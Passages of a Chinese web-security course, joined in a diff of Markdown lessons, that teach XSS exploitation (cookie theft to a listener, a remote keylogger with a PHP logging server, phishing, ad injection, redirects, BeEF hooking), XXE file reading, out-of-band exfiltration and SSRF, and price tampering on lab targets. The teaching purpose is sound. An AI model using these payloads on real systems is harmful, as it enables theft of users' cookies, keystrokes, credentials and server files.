在上一讲的实战部分中,我们成功的对这个页面进行了XSS注入攻击,其中使用的payload为:
|
||||
|
||||
<script>alert(1)</script>
|
||||
|
||||
|
||||
在之前的学习中,我们知道它可以让页面弹出一个警告框,但如果我们将这个payload改为如下:
|
||||
|
||||
<script>var pic=document.createElement("img");pic.src="http://127.0.0.1:2222/getCookie?"+escape(document.cookie)</script>
|
||||
|
||||
|
||||
这个payload会调用JavaScript创建一个Element对象,之后将这个对象的src设置为我们监听的地址端口,向这个地址用GET方式上传参数document.cookie,这样我们就能窃取到用户的cookie啦。
|
||||
|
||||
|
||||
|
||||
可以看到,我们已经收到这个GET请求了,它的cookie值也被我们接收到了。
|
||||
|
||||
到这里,你已经学习了用XSS攻击来盗取cookie的用法。接下来,让我们来学习如何用XSS攻击实现按键记录以及钓鱼。
|
||||
|
||||
按键记录和钓鱼
|
||||
|
||||
首先我们来看看如何实现按键记录。
|
||||
|
||||
我们仍然选择DVWA的XSS(DOM)靶场做测试,只需要更换payload即可,将payload设置为:
|
||||
|
||||
<script src=http://192.168.3.193/keylogger.js></script>
|
||||
|
||||
|
||||
这段代码可以去调用远程地址中的JavaScript文件,使得keylogger.js中的代码被执行。这里的keylogger.js的内容为:
|
||||
|
||||
document.onkeypress = function(evt) {
|
||||
evt = evt || window.event;
|
||||
key = String.fromCharCode(evt.charCode);
|
||||
if(key) {
|
||||
var http = new XMLHttpRequest();
|
||||
var param = encodeURI(key);
|
||||
http.open("POST","http://192.168.3.193/keylogger.php",true);
|
||||
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
http.send("key="+param);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
它创建了一个监听按键的事件,这个事件可以记录用户在当前页面按下的每一个键,并将接收到的按键通过POST方式上传到攻击者用来存储按键记录的服务器上。其中keylogger.php的代码为:
|
||||
|
||||
<?php
|
||||
$key=$_POST['key'];
|
||||
$logfile="keylog.txt";
|
||||
$fp = fopen($logfile,"a");
|
||||
fwrite($fp,$key);
|
||||
fclose($fp);
|
||||
?>
|
||||
|
||||
|
||||
它可以将接收到的key记录到keylog.txt文件中,这样就能实现按键记录的功能了。
|
||||
|
||||
我们胡乱的在被攻击的页面按下一些键,发现我们用来记录按键的服务器已经获取到了按键内容,并将它们存储在keylog.txt中。
|
||||
|
||||
|
||||
|
||||
我们还可以将这个按键记录做一下加工,使得用户可以输入一些敏感信息例如账号、密码等信息。我们可以用JavaScript创建出一个伪造的登陆框,这样用户很可能会上当,在这里输入自己的用户名和密码,我们可以利用之前的按键记录获取到这些信息。这种行为就是钓鱼攻击,因为它本质上和钓鱼非常类似,在钓鱼中我们就会利用鱼饵,将锋利的鱼钩伪装成美味的食物,这样就能骗得鱼儿上钩。
|
||||
|
||||
相信到这里你已经明白了如何用XSS攻击来实现按键记录以及钓鱼。接下来,让我们学习用XSS实现广告植入的方式吧。
|
||||
|
||||
广告植入
|
||||
|
||||
想要做广告植入,那我们需要用存储型XSS注入,这样就可以使得所有访问受攻击页面的用户都会看到广告。
|
||||
|
||||
这里我们选择用DVWA的存储型XSS作为示例,如下图,这里需要输入一个姓名和消息。
|
||||
|
||||
|
||||
|
||||
经过测试后,我们发现这个Message框内会受到XSS攻击,于是直接可以将负载改为:
|
||||
|
||||
<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='1000' height='2000' allowTransparency src=https://time.geekbang.org/course/detail/100055001-283034></iframe>");</script>
|
||||
|
||||
|
||||
这段恶意负载可以在当前页面以行的方式输出src对应的内容,这样我们把广告的地址设置为src即可。可以看到广告已经弹出,这就是用XSS实现广告植入的方法。
|
||||
|
||||
在测试的过程中,你可能会发现我们无法输入完整的负载,这是因为DVWA对这个输入框有长度限制,我们有两种方法可以绕过这一输入限制。
|
||||
|
||||
第一种,我们先随意输入符合长度要求的Message内容,之后用BurpSuite去进行拦截修改,将Message的内容修改为我们想要设置的恶意负载,这样就可以绕过输入长度限制。
|
||||
|
||||
第二种,我们可以去修改页面的限制代码,首先在Message输入框内右键,选择检查,这样关于它的代码就会高亮显示。
|
||||
|
||||
|
||||
|
||||
在图中,我们可以看到它限制了最多输入50个字符,我们可以将这个数字改为1000或者更大,来满足我们对负载长度的要求。修改过后,我们就可以任意输入想要的负载啦。这里也是在前端进行的修改。
|
||||
|
||||
|
||||
|
||||
下面,让我们继续学习XSS的危害类型,看看如何用XSS去实现欺骗跳转。
|
||||
|
||||
欺骗跳转
|
||||
|
||||
有的网页希望增加访问量,或者吸引用户访问,那么就可能会用XSS攻击来实现这一目的。下面我们继续以DVWA靶场中的存储型XSS作为示例。
|
||||
|
||||
为了实现欺骗跳转,我们需要将负载设置为:
|
||||
|
||||
<script>window.location.href=“跳转的目的地址”;</script>
|
||||
|
||||
|
||||
这段负载也是JavaScript代码,它可以使得当前页面跳转到设置的目的地址,这就是跳转产生的原因。注意,这里同样是需要绕过输入长度的限制的哦。
|
||||
|
||||
这样,当我们访问被攻击的页面时,页面会自动跳转到攻击者设置的地址中,如果攻击者将这个地址伪造为被攻击的页面,那么很容易迷惑访问用户,使得用户认为这就是被攻击的页面,但事实上,用户已经落入到攻击者的圈套之中了。
|
||||
|
||||
这就是用XSS实现欺骗跳转的方法。到这里,你已经学完了常见的XSS攻击利用方法,事实上,这就是一个任意JavaScript命令执行漏洞,我们只要更换不同的JavaScript语句,就可以实现这些攻击行为。
|
||||
|
||||
上述内容都是我们对XSS攻击的手动利用,接下来,让我们来学习一款XSS攻击自动利用神器——BeEF。
|
||||
|
||||
BeEF的使用
|
||||
|
||||
我们都知道Beef是牛肉的意思,这款名为BeEF的软件也是非常牛的。我们利用它可以进行各种各样的攻击操作,并且不需要我们手动进行一些负载的设计,下面让我们一起来学习它吧。
|
||||
|
||||
首先我们要来安装这款软件,我们可以在kali虚拟机中使用 sudo apt install beef-xss 进行BeEF的安装,如果失败,那么我们运行 sudo apt-get update 进行apt的更新,然后重新安装即可。
|
||||
|
||||
安装完成之后,我们就可以用命令 sudo beef-xss 来打开这个软件,可以看到它会自动弹出一个Web页面,这就是这个软件的用户界面。
|
||||
|
||||
|
||||
|
||||
我们选择DVWA的存储型XSS攻击来做测试,让你可以更好地理解这款工具。
|
||||
|
||||
那么在利用BeEF前,我们首先需要进行XSS攻击。
|
||||
|
||||
|
||||
|
||||
和之前我们手动攻击一样,需要在Message框内输入恶意负载,由于我们BeEF工具所在的服务器地址为192.168.3.101,所以我们将负载设置为:
|
||||
|
||||
<script src="http://192.168.3.101:3000/hook.js"></script>
|
||||
|
||||
|
||||
这样,每当这个页面被访问时,都会触发我们注入的JavaScript代码,使得页面向我们的恶意服务器请求hook.js文件,其中你可以简单认为hook.js文件是BeEF的一个接口,之后我们在BeEF调用的命令都是通过这个接口来实现的。
|
||||
|
||||
完成了接口的设置之后,我们在BeEF的页面,可以看到BeEF中的Hooked Browsers一栏已经显示出被攻击的目标。
|
||||
|
||||
|
||||
|
||||
这里192.168.3.124是我搭建的DVWA靶场的地址,代表的是被攻击服务器IP,而192.168.3.102代表的是访问被攻击服务器的用户机器的IP。我们点击Current Browser就可以进行我们想要的攻击行为啦。
|
||||
|
||||
|
||||
|
||||
首先我们选中Commands这一栏,然后根据描述选择其中我们想要发起的攻击行为,例如:GET Cookie。
|
||||
|
||||
|
||||
|
||||
可以看到我们已经获取到了cookie信息。这比我们手动去获取cookie简单很多。
|
||||
|
||||
这就是BeEF的用法介绍,当然它具有很多有趣的攻击功能,下面我再介绍它的一个功能,那就是改变页面内容。
|
||||
|
||||
|
||||
|
||||
我们可以在Deface Content中对内容进行设置,然后点击执行按钮,可以发现我们的DVWA靶场已经变为了刚刚设计的内容。
|
||||
|
||||
|
||||
|
||||
其实BeEF的非常强大,它具有几百个不同的攻击命令,你可以一一尝试去把玩它们。
|
||||
|
||||
总结
|
||||
|
||||
在这节课程中,我们可以感受到XSS攻击的可怕之处,并且清楚了它的危害性。
|
||||
|
||||
首先我们学习了对XSS攻击的手动利用,包括了盗取cookie、按键记录和钓鱼、广告植入以及欺骗跳转这些不同的攻击手段。但事实上,我们都是利用的JavaScript代码注入,页面中一切JavaScript代码可以实现的功能,我们都能实现。所以实现XSS攻击的能力,和JavaScript的掌握程度息息相关。
|
||||
|
||||
然后,我们学习了XSS攻击神器——BeEF,利用它我们不需要再亲自构造JavaScript代码,而是利用设计好的代码直接发起我们想要的攻击行为,这给我们带来了极大的便利。
|
||||
|
||||
思考题
|
||||
|
||||
除了这节课中提到的XSS攻击种类,你还能想到别的攻击种类吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
137
专栏/Web漏洞挖掘实战/23XSS(下):检测与防御方案解析.md
Normal file
137
专栏/Web漏洞挖掘实战/23XSS(下):检测与防御方案解析.md
Normal file
File diff suppressed because one or more lines are too long
283
专栏/Web漏洞挖掘实战/24资源注入:攻击方式为什么会升级?.md
Normal file
283
专栏/Web漏洞挖掘实战/24资源注入:攻击方式为什么会升级?.md
Normal file
@ -0,0 +1,283 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
24 资源注入:攻击方式为什么会升级?
|
||||
你好,我是王昊天。
|
||||
|
||||
在我们浏览Web应用的时候,我们可以看到很多不同的信息,并且它们会以不同的样式展现给我们。Web开发者为了方便数据的管理和维护,往往会将数据内容和前端设计分开。XML会在这个过程中扮演很重要的角色。
|
||||
|
||||
XML即可扩展标记语言,它的名称来自eXtensible Markup Language的缩写。XML与HTML不同,它仅仅被设计用来传输和存储数据,不负责数据的显示。值得一提的是,它被广泛应用于各种Web应用中,为数据的读取提供了极大的便利。
|
||||
|
||||
可是XML在给我们带来便利的同时,也带来了一些安全性的问题,今天让我们一起来学习它带来的安全问题吧!
|
||||
|
||||
XML外部实体注入
|
||||
|
||||
XML带来的安全问题主要是XML外部实体注入,即XML external entity (XXE) injection,我们简称为XXE。在对这一漏洞进行学习之前,我们首先来学习XML的基础知识。
|
||||
|
||||
XML可扩展标记语言
|
||||
|
||||
XML的意思为可扩展标记语言,它是负责数据的传输和存储的。为了让你更好地理解它,我们直接来看示例。
|
||||
|
||||
# 这是XML声明。
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
# 接下来开始了对存储数据的描述,它的根元素为`note`。
|
||||
<note date="2022/02/08">
|
||||
<to>LiYang</to>
|
||||
<from>WangHua</from>
|
||||
<heading>Email</heading>
|
||||
<body>Welcome to China!</body>
|
||||
</note>
|
||||
|
||||
|
||||
这就是一个简单的XML语句,你可能看不懂它,但不要着急,我来给你解释一下。
|
||||
|
||||
代码第一行的内容为XML语言的声明,它定义了XML版本(1.0)以及所使用的编码(ISO-8859-1)。完成声明之后,就可以开始存储数据了,可以看到它包含了很多的标签,其中note标签是它的根节点,在根节点下面有很多标签如、等,这些标签的名字可由我们自由设定,标签中夹的内容为标签对应的数据,这可以方便Web应用去获取。
|
||||
|
||||
其中note标签中包含了一个date属性,标签中的属性主要用来记录数据的元数据,例如数据的编号等。数据本身则应该存储为元素,所以我们最好将上述XML代码改为如下:
|
||||
|
||||
# 这是XML声明。
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
# 接下来开始了对存储数据的描述,它的根元素为`note`。
|
||||
<note id="1">
|
||||
<date>2022/02/08</date>
|
||||
<to>LiYang</to>
|
||||
<from>WangHua</from>
|
||||
<heading>Email</heading>
|
||||
<body>Welcome to China!</body>
|
||||
</note>
|
||||
|
||||
|
||||
这样XML代码就更加符合规范。当然,XML代码也是存在一定的形式要求的,那就是XML验证,我们先来看看对于XML的形式要求是什么。
|
||||
|
||||
第一个要求为,XML文档必须要有根元素,在上述代码示例中note即为根元素。符合这一个要求后,验证程序会去检验XML文档中必须有关闭标签,即有了就必须要有,并且标签中的字母大小写要一致。最后,验证程序会去判断XML是否被正确嵌套了,并且它标签中的属性值是否加了引号。
|
||||
|
||||
当一个XML文档符合上述形式要求后,它还需要满足一个文档类型定义即DTD的语法规则,接下来让我们一起来学习它。
|
||||
|
||||
DTD文档类型定义
|
||||
|
||||
DTD的作用为定义XML文档的合法构建方式,为了让你更好地理解它,下面让我们一起来看一个示例:
|
||||
|
||||
<!DOCTYPE note [
|
||||
<!ELEMENT note (date,to,from,heading,body)>
|
||||
<!ELEMENT date (#PCDATA)>
|
||||
<!ELEMENT to (#PCDATA)>
|
||||
<!ELEMENT from (#PCDATA)>
|
||||
<!ELEMENT heading (#PCDATA)>
|
||||
<!ELEMENT body (#PCDATA)>
|
||||
]>
|
||||
|
||||
|
||||
在上述DTD代码中,第一行定义了这是对哪种类型的根元素的限制,如在上述示例中,就是对note类型的限制。然后规定了这个节点下面有哪些子标签,并且对每个标签的内容进行定义,示例中将每个标签的内容都规定为PCDATA即解析字符数据。
|
||||
|
||||
完成了DTD的编写之后,Web应用在处理XML文档时,就会开始判断XML是否合法,如果合法就会处理这个文档,否则就不会继续处理这个文档。一般来说,DTD文档既可以被写在XML文档内,也可以通过外部引用进行导入,它的导入方式如下:
|
||||
|
||||
<!DOCTYPE note SYSTEM "http://www.example.com/example.dtd">
|
||||
|
||||
#其中 example.dtd文件为
|
||||
<!ELEMENT note (to,from,heading,body)>
|
||||
<!ELEMENT to (#PCDATA)>
|
||||
<!ELEMENT from (#PCDATA)>
|
||||
<!ELEMENT heading (#PCDATA)>
|
||||
<!ELEMENT body (#PCDATA)>
|
||||
|
||||
|
||||
这段代码引入了外部DTD文件,这里是一个安全隐患。到这里,你可能会好奇DTD不就是做一些检测工作,会导致什么安全问题呢?
|
||||
|
||||
事实上,这个DTD文档,还有一个实体声明的功能,它的这一功能也就是导致我们今天所讲的XXE漏洞的主要原因。接下来,让我们一起来重点看看它吧。
|
||||
|
||||
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,这么说可能会有点抽象,下面我们一起看一个示例,这样理解起来就会简单些。
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE example [
|
||||
#<!ENTITY 实体名称 “实体的值”>
|
||||
<!ENTITY to "LiHua">
|
||||
]>
|
||||
<example>&to;</example>
|
||||
|
||||
|
||||
在这个示例的DTD语句中,定义了一个实体to,并让它的值为LiHua,然后在XML语句中,可以用&to调用这个实体。
|
||||
|
||||
这是一个内部实体声明,因为实体的值已经被写在了XML语句中,它其实还支持外部实体声明,具体的实现方式为:
|
||||
|
||||
#<!ENTITY 实体名称 SYSTEM "URI">
|
||||
<!ENTITY to SYSTEM "http://example.com/example.dtd">
|
||||
|
||||
|
||||
这个功能就是我们今天所讲的XXE的罪魁祸首,攻击者就是通过DTD外部实体声明来实现外部实体注入的。
|
||||
|
||||
XML外部实体注入的产生原因
|
||||
|
||||
如果Web应用存在外部实体注入问题,那么攻击者可以构建负载如下:
|
||||
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY b SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<c>&b;</c>
|
||||
|
||||
|
||||
如果页面解析了其中c标签的内容,并将它输出在Web页面上,那么攻击者就可以读取到隐私文件passwd里的内容,这是非常危险的。
|
||||
|
||||
当然攻击者也可以利用DTD文档引入外部DTD文档,然后再引入外部实体声明,这样需要的XML内容为:
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE a SYSTEM "http://evial_ip.com/evil.dtd">
|
||||
<c>&b;</c>
|
||||
|
||||
|
||||
其中外部的evil.dtd文件的内容为:
|
||||
|
||||
<!ENTITY b SYSTEM "file:///etc/passwd">
|
||||
|
||||
|
||||
这样也是可以实现输出隐私文件passwd的功能。除此之外,攻击者还可以通过DTD外部实体声明引入外部实体声明,这有点类似于套娃了,不过它也是一种可行的方式,让我们一起来看看吧。
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY % d SYSTEM "http://example.com/example.dtd">
|
||||
%d;
|
||||
]>
|
||||
<c>&b;</c>
|
||||
#example.dtd的内容为
|
||||
<!ENTITY b SYSTEM "file:///etc/passwd">
|
||||
|
||||
|
||||
注意这里的%d,它是一个参数实体。Web应用在解析这个XML文件时,会首先将%d的值设置为example.dtd中的内容,然后调用%d,将example.dtd的运行结果赋予给b,并将它输出到标签中。
|
||||
|
||||
以上内容就是XML外部实体注入的产生原因,下面我们一起来学习它有哪些危害吧。
|
||||
|
||||
XML外部实体注入的危害
|
||||
|
||||
XML外部实体注入会有很多危害,例如隐私文件获取以及发起SSRF攻击。让我们看一下它的攻击方式。
|
||||
|
||||
XXE隐私文件获取
|
||||
|
||||
在之前学习XXE攻击方式的过程中,我们用XXE攻击来获取passwd文件。其实这就是XXE获取隐私文件的攻击方式。
|
||||
|
||||
在之前的示例中,我们默认了页面会将我们设置的XML内容进行输出,但实际上,Web应用往往不会输出我们注入的XML内容。这时候就是XXE盲注,我们需要借助一些技巧,来将文件的内容展示出来。
|
||||
|
||||
面对XXE盲注时,我们可以利用带外的方法来获取数据:
|
||||
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
||||
%eval;
|
||||
%exfiltrate;
|
||||
|
||||
|
||||
在上述示例中,我们将获取到的数据通过get方式发送到攻击者的服务器,这样攻击者可以查看服务器接收到的请求获取到想要的数据。
|
||||
|
||||
当然,我们还可以利用报错信息来输出想要获取的数据:
|
||||
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
||||
%eval;
|
||||
%error;
|
||||
|
||||
|
||||
在这个示例中,我们将引入了error参数,XML会去访问一个不存在的文件,导致错误的产生,并将错误信息给eval,由于文件路径中存在我们需要的数据file,这样就会导致Web应用显示出错信息,并且其中包含我们需要的数据。我们可以看一个示例输出:
|
||||
|
||||
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
...
|
||||
|
||||
|
||||
XXE发起SSRF攻击
|
||||
|
||||
SSRF攻击即为服务端请求伪造,我们可以利用XXE来实现。首先我们先来看一个示例,这样可以帮助我们理解它的攻击方式。
|
||||
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
|
||||
|
||||
|
||||
这是我们需要注入的XML代码,Web应用在解析它的时候,会向其中的链接发出请求,并且这个请求是由被攻击Web应用的服务器所发送的,这就是SSRF攻击。
|
||||
|
||||
它到底有什么作用呢?我们可以利用它来判断Web应用服务器内网地址的开启情况,只需要将链接改为服务器的内网地址,然后根据响应的内容就可以判断内网地址是否开放,这会对内网的安全产生威胁。
|
||||
|
||||
在了解完XXE的攻击方式后,让我们进入到实战部分来切身体会下XXE攻击的危害吧。
|
||||
|
||||
实战演练
|
||||
|
||||
在实战过程中,我们选用靶场bwapp做测试,需要注意的是,我们要将bwapp靶场中的xxe-2.php文件中的内容作修改,将$xml的值改为如下:
|
||||
|
||||
$xml = simplexml_load_string($body,'SimpleXMLElement',LIBXML_NOENT);
|
||||
|
||||
|
||||
然后,打开靶场我们可以看到,页面中有一个按钮 Any bugs?,我们点击不会有反应,这时候可以打开Burpsuite做测试,通过捕获我们获取到点击按钮会发送请求:
|
||||
|
||||
POST /xxe-2.php HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Length: 59
|
||||
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
sec-ch-ua-mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
sec-ch-ua-platform: "macOS"
|
||||
Content-type: text/xml; charset=UTF-8
|
||||
Accept: */*
|
||||
Origin: http://127.0.0.1
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: http://127.0.0.1/xxe-1.php
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: security_level=0; PHPSESSID=847jvmklugetdus5u1on5b92v6
|
||||
Connection: close
|
||||
|
||||
<reset><login>bee</login><secret>Any bugs?</secret></reset>
|
||||
|
||||
|
||||
经过观察,我们看到Content-type的值为text/xml,所以我们可以分析出下面的数据为XML数据,于是可以尝试进行XXE攻击。
|
||||
|
||||
POST /xxe-2.php HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Length: 178
|
||||
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
sec-ch-ua-mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
sec-ch-ua-platform: "macOS"
|
||||
Content-type: text/xml; charset=UTF-8
|
||||
Accept: */*
|
||||
Origin: http://127.0.0.1
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: http://127.0.0.1/xxe-1.php
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: security_level=0; PHPSESSID=847jvmklugetdus5u1on5b92v6
|
||||
Connection: close
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE reset[
|
||||
<!ENTITY Info SYSTEM "http://127.0.0.1/1.txt">
|
||||
]>
|
||||
|
||||
<reset><login>&Info;</login><secret>Any bugs?</secret></reset>
|
||||
|
||||
|
||||
我们可以利用之前学习的知识,将请求中的XML数据进行修改,利用XXE攻击获取到1.txt文件中的内容。
|
||||
|
||||
|
||||
|
||||
可以看到1.txt中的内容已经被显示在响应中,我们的XXE攻击成功。
|
||||
|
||||
总结
|
||||
|
||||
这一讲我们学习了XML外部实体注入攻击,首先我们介绍了什么是XML可扩展标记语言,知道它是一个用来存储和调用数据的文件,并对它的语法进行了大致的了解。
|
||||
|
||||
随着对它学习的深入,我们知道了XML中存在一个验证文档,即DTD文档类型定义,并了解到它其中有一个实体定义的问题,也就是引起XXE漏洞的主要原因。
|
||||
|
||||
在学习完一些XML以及DTD的基础知识后,我们深入地分析了XXE漏洞产生的原因,即XML代码注入导致的DTD对外部实体的定义,从而获取到一些隐私文件或者发起服务端请求伪造。
|
||||
|
||||
最后,我们通过实战切身体会到了XXE攻击的危害,并且加深了我们对这一攻击方式的理解。
|
||||
|
||||
思考题
|
||||
|
||||
你知道有什么防范XXE攻击的措施吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
139
专栏/Web漏洞挖掘实战/25业务逻辑漏洞:好的开始是成功的一半.md
Normal file
139
专栏/Web漏洞挖掘实战/25业务逻辑漏洞:好的开始是成功的一半.md
Normal file
@ -0,0 +1,139 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
25 业务逻辑漏洞:好的开始是成功的一半
|
||||
你好,我是王昊天。
|
||||
|
||||
在前几年,杭州发生了一件让人脑洞大开的违法犯罪行为,竟然有一名男子在超市购物时,将昂贵商品的标签替换为便宜商品的标签,从而实现了将6000余元的商品仅仅花了48元就买回了家。
|
||||
|
||||
这名男子得手的原因就是超市的业务逻辑存在漏洞,允许男子修改商品上的标签,给超市造成了很大的损失。事实上,在Web应用中也是有逻辑漏洞存在的,这些漏洞也会给Web应用带来巨大的损失。
|
||||
|
||||
所以今天,我会给你讲解Web应用中的业务逻辑漏洞。首先我们会介绍什么是业务逻辑漏洞,让你先对这一漏洞有一定的理解。然后我们会学习业务逻辑漏洞存在的原因,进而分析出业务逻辑漏洞可能会导致的后果及影响。最后,我们会一起了解现实中发生的业务逻辑漏洞事例,加深你对业务逻辑漏洞的理解。
|
||||
|
||||
|
||||
|
||||
下面,让我们先从最基础的定义开始吧。
|
||||
|
||||
业务逻辑漏洞的定义
|
||||
|
||||
当开发者在设计一个Web应用时,没有进行充分的考虑,导致Web应用的逻辑设计不够充分,就容易导致业务逻辑漏洞的产生。这么说有点抽象,我们一起来看一个示例帮助你理解它。
|
||||
|
||||
|
||||
|
||||
这是一个购物网站,我们打开了一个其中的衣服,它的价格十分昂贵,需要1337美元。我们可以输入想要购买的数量,然后点击Add to cart按钮,将它添加到购物车。为了尝试攻击这个应用,我们在点击添加购物车时,用BurpSuite拦截到报文如下:
|
||||
|
||||
POST /cart HTTP/1.1
|
||||
Host: acf51f0c1eaff6e6c0f28fae00f80084.web-security-academy.net
|
||||
Cookie: session=R4pFnL8mM0tsrGHnit3y3ZdPgYQd9n1B
|
||||
Content-Length: 50
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "macOS"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Origin: https://acf51f0c1eaff6e6c0f28fae00f80084.web-security-academy.net
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Referer: https://acf51f0c1eaff6e6c0f28fae00f80084.web-security-academy.net/product?productId=1
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
productId=1&redir=PRODUCT&quantity=10&price=133700
|
||||
|
||||
|
||||
看到这个报文,我眼前一亮,可以发现我们不仅仅可以输入数量,甚至还可以输入产品的价格。那我们就自然的会去尝试对它进行修改,这里我们将它改为1,由于价格的单位是按分计算的,所以从购物车中我们看到,产品的价格变为了1美分。
|
||||
|
||||
|
||||
|
||||
这样,我们就可以花费很便宜的价格,去购买很昂贵的商品了。这就是一个业务逻辑漏洞,它的根本原因在于允许用户修改单价。虽然Web应用的前端页面没有修改单价的选项,但是攻击者可以通过一些软件例如BurpSuite去修改单价,进而导致漏洞的发生。
|
||||
|
||||
这就是应用开发者考虑不够充分导致的问题,他们可能认为只要前端页面无法修改单价就行,但是攻击者会有别的方式去修改。究其业务逻辑漏洞的根本原因,就是开发者会对用户的行为做一些合法的预期设想,然后根据这个预期来进行安全设计和响应,一旦攻击者进行一些开发者意想不到的操作,就很容易导致一些问题的发生。
|
||||
|
||||
总体来说,业务逻辑漏洞是非常多样化的,它与本身应用的功能和类型相关,因此想要鉴别它是非常困难的,因为这需要一定的业务知识。所以我们很难用漏洞探测工具去对业务逻辑漏洞进行检测,这也导致了业务逻辑漏洞成为一些漏洞测试员的主要工作内容。
|
||||
|
||||
在了解完业务逻辑漏洞的原因后,下面让我们深入研究一下这个漏洞是如何引起的。
|
||||
|
||||
业务逻辑漏洞的原因
|
||||
|
||||
业务逻辑漏洞发生的原因就是Web应用的设计者和开发者对用户的行为做出了错误的假设。这个假设使得Web应用对于用户的输入验证不够充分。
|
||||
|
||||
比如,应用开发者认为用户只会通过访问浏览器进行数据的上传,那么很可能就会把输入验证放到前端去处理。但是攻击者可以通过拦截代理软件例如BurpSuite,很容易就能绕过Web应用对于输入的检测,从而给Web应用带来威胁。
|
||||
|
||||
对于用户输入验证的不充分,最终导致攻击者可以对应用做出一些预期之外的操作。由于应用开发者没有想到这种情况,所以应用无法安全地处理这些操作,这就导致了漏洞的发生。因此,在业务逻辑复杂的Web应用中,很容易会出现业务逻辑漏洞。
|
||||
|
||||
到这里,你已经明白了业务逻辑漏洞是什么,以及它是如何产生的,我们已经有了足够的基础知识储备,这样我们可以更好地学习业务逻辑漏洞的影响了。
|
||||
|
||||
业务逻辑漏洞的影响
|
||||
|
||||
由于不同Web应用具有不同的业务逻辑,所以业务逻辑漏洞的影响范围很广很杂。但是很多的逻辑漏洞攻击,都可能会对整个Web应用造成很严重的后果。
|
||||
|
||||
从根本上来讲,业务逻辑漏洞产生的影响与它的功能有关。
|
||||
|
||||
比如登录授权机制上的逻辑漏洞就会对应用产生数据泄漏的影响,攻击者可以利用它进行权限提升或者绕过登录验证,从而获得一些敏感数据。
|
||||
|
||||
而经济交易中的逻辑漏洞,则可能会允许攻击者窃取资金或进行欺诈行为,导致很多的经济损失。
|
||||
|
||||
我们需要知道,有的业务逻辑漏洞可能无法让攻击者直接受益,但是会对应用的业务造成一些负面影响,例如影响正常用户的使用。
|
||||
|
||||
了解完业务逻辑漏洞的影响后,我们来看两个现实中的业务逻辑漏洞案例。
|
||||
|
||||
业务逻辑漏洞实例
|
||||
|
||||
这两个案例都很典型,希望你以后遇到类似的应用时,可以联想到它可能存在业务逻辑漏洞。
|
||||
|
||||
